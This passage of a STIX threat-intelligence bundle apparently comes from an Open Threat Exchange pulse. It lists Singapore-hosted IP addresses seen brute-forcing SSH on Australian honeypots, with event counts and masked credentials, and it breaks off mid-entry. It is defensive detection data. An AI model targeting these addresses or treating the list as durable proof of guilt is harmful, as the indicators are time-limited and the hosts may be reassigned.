        "indicator--e5879846-971f-453a-a1dc-4911e75a1a0c",
        "indicator--a8123170-b0af-4b9f-b1fc-0d3943558565",
        "indicator--07bf4366-847f-4e2d-bcca-ab376e41296b",
        "indicator--5397d86a-f7c5-4368-9643-66cef68f003e",
        "indicator--07bc0ad0-25a4-456d-8ae6-68ab34bb5b9c",
        "indicator--aaa72a92-6957-4ea4-b690-0a864c1ac079",
        "indicator--162659c6-26d3-402a-aaf4-8727d30d4760",
        "indicator--03e9644f-f8f7-4e2a-a7e1-bdd37781f44e",
        "indicator--2a10a49e-c008-4656-9e3c-ecb02a4069dd",
        "indicator--346dac41-32dd-49a7-94dd-707f969be946",
        "indicator--97cba4b9-5db2-4bab-84a5-3b5f0e8602b7",
        "indicator--f6dd17e0-904c-4031-a039-04b9825f2230",
        "indicator--087f7f44-4318-43eb-882d-234989ad6583",
        "indicator--b09affa9-dba7-419d-a61e-efba26b70c18",
        "indicator--54100166-5d37-40e3-915e-ff802976d665",
        "indicator--c6d29f72-c032-44e0-bcfe-01e7b415682c",
        "indicator--bc3afa50-0701-469b-93be-3c532220b07a",
        "indicator--ce634168-a463-4cfb-ab9f-c67d3ce00ac7",
        "indicator--f6e81670-719a-4fa9-b556-25d0be8423fd",
        "indicator--4f12a998-e209-4b27-9c8a-755876032ae9",
        "indicator--5a73e832-1272-4e65-aa24-ea329b9f7d44",
        "indicator--885c3b29-606d-4679-9f3e-a98af4aed531",
        "indicator--e5e9e272-f49e-476e-bf69-14dc1700b0bd",
        "indicator--a6c2395d-dd18-4b7f-bdf0-32e3dda9025c",
        "indicator--b149ded2-d2e0-4da6-b338-c72c3bdf7838",
        "indicator--5ccbff0b-37d2-4839-8e02-de4a592f9221",
        "indicator--1897e4eb-ab15-4b4c-91de-664414967d41",
        "indicator--517fdb11-64f0-4748-a662-15e579a90d2b",
        "indicator--6a00c25f-11c7-48f9-bfef-9862879271f9",
        "indicator--ae969d0b-2b79-41e0-86d8-89169ec56f41",
        "indicator--043eb7a9-a525-401a-a782-928bb6a3dcd6",
        "indicator--b158640e-a57a-401a-8210-9c5a77f366b6",
        "indicator--1d7d7577-b846-49c4-ab27-f6ba8d29621e",
        "indicator--b087d5ed-2456-4596-af66-206594167b21",
        "indicator--7348966a-b4fd-441b-882f-82fb71267f89",
        "indicator--1ac59e73-af94-4cb1-9f51-e17c85912fdd",
        "indicator--d5ae7e22-cdc6-4232-9ec6-72fc823ce5f0",
        "indicator--6080b8ef-013f-4fed-a386-7a4838dd64b1",
        "indicator--bb553741-a276-4303-ae88-768156cf3545",
        "indicator--95715050-aa62-4920-bdcb-2e79da8af729",
        "indicator--67fdb0c5-45c6-4433-8245-04ccab829a2c",
        "indicator--078ffbe9-faca-4d3c-a6dc-3a9d6bab0645",
        "indicator--7aad4088-4658-4f8f-b208-eee9d39a8796",
        "indicator--99479002-7ecc-405a-b784-993f1bd74b90",
        "indicator--d334e173-0b0f-4230-bd48-4009790b52e6",
        "indicator--54f7189f-dca3-4d1b-b851-ce361fc5deae",
        "indicator--69ac6064-3585-4c50-a2b9-b22b54461167",
        "indicator--e0232724-5066-4f3f-80d3-e5ec627c9820",
        "indicator--aea0e8fb-ddaa-4d54-a95d-97cadfa370da",
        "indicator--cf1b67f1-fcc9-4594-88d4-a0e2b1c1dc7c",
        "indicator--2c302aad-d00f-4ebc-9dd4-f0139fe4bcd3",
        "indicator--cba21541-154b-4c38-9c23-4e600ac13e89",
        "indicator--561a7ccd-d1b6-42e9-a277-3c49596a02b8",
        "indicator--bcf4b606-83a3-408a-bae3-cc0a1639b397",
        "indicator--39cacbca-2bb3-4db7-9253-0d73fe626820",
        "indicator--f79bf812-96d7-41a7-9441-5288729646e4",
        "indicator--ce755b9b-4696-4b94-8a1c-e7490ddf7d38",
        "indicator--04e87d1b-cebd-44f6-8268-cdbe085898bf",
        "indicator--b5ac6f88-c23c-4828-b614-e63cd5d39ce2",
        "indicator--ae1e5e16-a063-4d91-bbac-fbb6e7221dbb",
        "indicator--b31511fd-5732-4d70-a2b1-2234992e942a",
        "indicator--3db36399-01a9-42eb-b0e2-d2bd647f0dfa",
        "indicator--bc73ac3f-8d4e-43b5-bde8-e0a694043eda",
        "indicator--4103fca8-dac4-43a9-beb7-ebebb320c1d3",
        "indicator--edd71307-92c3-4fb5-aabb-674799f51366",
        "indicator--ca78544a-ce5f-459a-8ca1-17c75c17e75f",
        "indicator--2f655d6b-f9b1-4841-999f-0fc45f09d613",
        "indicator--92864ce9-12dc-4d35-b272-98f86d92cf53",
        "indicator--733606c7-2913-47d7-873c-7699f71d04f7",
        "indicator--3448d646-cba3-4d51-83a1-860642eacc03",
        "indicator--83cf0401-2069-4004-b084-764a3e58a429",
        "indicator--5c22d730-0c16-4007-bbbd-94946370596d",
        "indicator--30cbec67-d7f7-4678-b83d-304d3a87a493",
        "indicator--d47252db-7dc6-4af4-8164-84f8adda78a9",
        "indicator--145b9315-c8b9-47fd-ade8-4ef7ead03415",
        "indicator--5271a871-7248-4f96-af12-95e0c7675d0a",
        "indicator--6d2f9fdd-86c3-4c2a-82fc-eb62f8b5d31d",
        "indicator--5141a8b3-6774-438e-a6db-46d9a144335b",
        "indicator--0e6a253d-40f3-4e0c-878d-926a24bf34dd",
        "indicator--9386f48e-344f-4392-9b5d-0ee76308b79a",
        "indicator--309cbda7-245f-44da-990b-4d2a39062dac",
        "indicator--7cf3a018-9b97-4491-ae70-180435468339",
        "indicator--503dd674-a2f6-4987-bf03-87ae6f977a4c",
        "indicator--7b658355-6d92-4ec3-80d5-273f72381969",
        "indicator--bb33ef84-f8ef-4198-83e0-f197e442e529",
        "indicator--61212dd0-badd-49bd-95b5-ca142f3d9bdb",
        "indicator--d45cfbef-b7a4-4288-9ffe-7b064b78409d",
        "indicator--a68ba487-2542-45f7-a000-33e5b76e4fbe",
        "indicator--86e892f1-3380-40f2-baa3-70d7cb83a292",
        "indicator--6e2a44c6-3a24-45ce-8dc9-a64dab4db53a",
        "indicator--c68bd58b-5968-4698-bb96-2e817d00eeb8",
        "indicator--76d009e5-279c-4122-a7fd-3fec52f95649",
        "indicator--4392c0f4-5f57-43f4-b592-6c310c3d8120",
        "indicator--74f2a757-60d1-4b38-9c4e-98b96c07523f",
        "indicator--5b8a7905-40d4-4d07-af23-10d0a5cfc1ea",
        "indicator--57ccfd66-641c-4328-83b5-c4d192ced9d5",
        "indicator--657be241-58a6-49c3-bdcd-bff4ea43dce9",
        "indicator--b8b5c361-df9a-49bb-a6b9-cbd4db23d78b",
        "indicator--833c2cfb-d125-4cc0-b939-49c78df478bd",
        "indicator--e51278c9-5d79-4ac7-b676-150521a6e9e8",
        "indicator--08cd7a19-8624-4105-88ce-a6e1368f12ff",
        "indicator--ad3943e9-46a5-4958-895b-0dc4a4ad5e82",
        "indicator--f5fa43f4-2106-468d-af6b-a0a0cb23daa0",
        "indicator--ed0a506b-c46f-41e4-a5a6-0671d9499e2c",
        "indicator--de9c1c3b-58f3-435c-8e8b-89ec29de3409",
        "indicator--ea9c9cae-7588-4ad1-b0ea-9a7eff961959",
        "indicator--20e59cd0-b8ec-4a54-a501-1777571b714e"
      ],
      "published": "2026-03-01T00:15:12.536Z",
      "spec_version": "2.1",
      "type": "report"
    },
    {
      "contact_information": "https://otx.alienvault.com/",
      "created": "2026-03-01T00:15:12.536Z",
      "id": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "identity_class": "organization",
      "modified": "2026-03-01T00:15:12.536Z",
      "name": "Open Threat Exchange",
      "spec_version": "2.1",
      "type": "identity"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1*****b.",
      "id": "indicator--eca1f902-eb38-430d-be26-476140c0b2bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.140.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 0******(, D******1.",
      "id": "indicator--9391cc9a-55f7-490f-a912-7b7d279c3c4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.140.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 0******(.",
      "id": "indicator--7dc0c6b3-81b0-4f77-9602-745b9cfd5108",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.140.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 81. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**7, 3***********4, 3**********4, M******6.",
      "id": "indicator--2345a1b2-c0f3-4a69-a2e6-6fd54e75ee32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.140.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****b, 3**********4, a******5.",
      "id": "indicator--67bbbb2a-8ec2-4648-86a6-1b6b04496ab7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.141.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 0******(, ***.",
      "id": "indicator--9c022560-2a23-45a2-9c50-5a9a9d452e18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.141.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1**7.",
      "id": "indicator--5e39ded6-14b4-4e3d-b48a-7f414db29743",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.142.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): s****5.",
      "id": "indicator--19b47aac-a73d-4d12-9ff2-90515c125be5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.142.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): ***.",
      "id": "indicator--82560341-ec47-4aff-a49f-cf80da1c8dbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.142.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1*****b, s****5.",
      "id": "indicator--cb7c14b8-c950-4180-9d80-83fd4f45bc2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.142.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): a******5.",
      "id": "indicator--44989341-9ea9-4d2e-9330-5ae37584fd5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.142.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): M******6, ***.",
      "id": "indicator--fb85dc1b-7c1b-4b19-a811-2d6213dadbfb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.142.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1*****b.",
      "id": "indicator--1ab28782-abdc-433e-bcca-9b88a1ea9486",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.142.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1**7.",
      "id": "indicator--13f13f67-918f-41e8-b389-cebee12e5d48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.142.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1*****b.",
      "id": "indicator--1b12fea1-2224-475a-a342-0ce029e87210",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.142.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1**7.",
      "id": "indicator--a73dfc50-df3b-484a-be6f-4580b5701cd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.143.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1**7.",
      "id": "indicator--65c00676-e12d-4dae-886f-289f8cf08b89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.161.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): .*******6.",
      "id": "indicator--fb791a8d-dc48-43b9-9f59-6433511843e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.161.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 0******(, a******5.",
      "id": "indicator--675620bf-2d84-4df7-8bc3-b4808654dd0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.161.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): D******1.",
      "id": "indicator--7da92d2b-4362-4fad-8415-ee74233efae4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.161.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): D******1.",
      "id": "indicator--c507859e-1dcd-445b-83ad-7e987e910c22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.161.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1*****b.",
      "id": "indicator--6f7cbf1d-3fc2-4b19-a1e7-251b36384cbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.162.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): .*******6.",
      "id": "indicator--d2f99113-6d3e-4c86-8cbd-836b2b336853",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.162.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): s****5.",
      "id": "indicator--41af34fa-9e38-4b2a-8eec-ee73da9a9088",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.162.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 0******(.",
      "id": "indicator--bc718c6f-c051-437e-8824-ce0dfc48bdc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.163.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T00:15:13.000Z",
      "valid_until": "2026-04-02T00:15:11.000Z"
    },
    {
      "created": "2026-03-01T00:15:13.000Z",
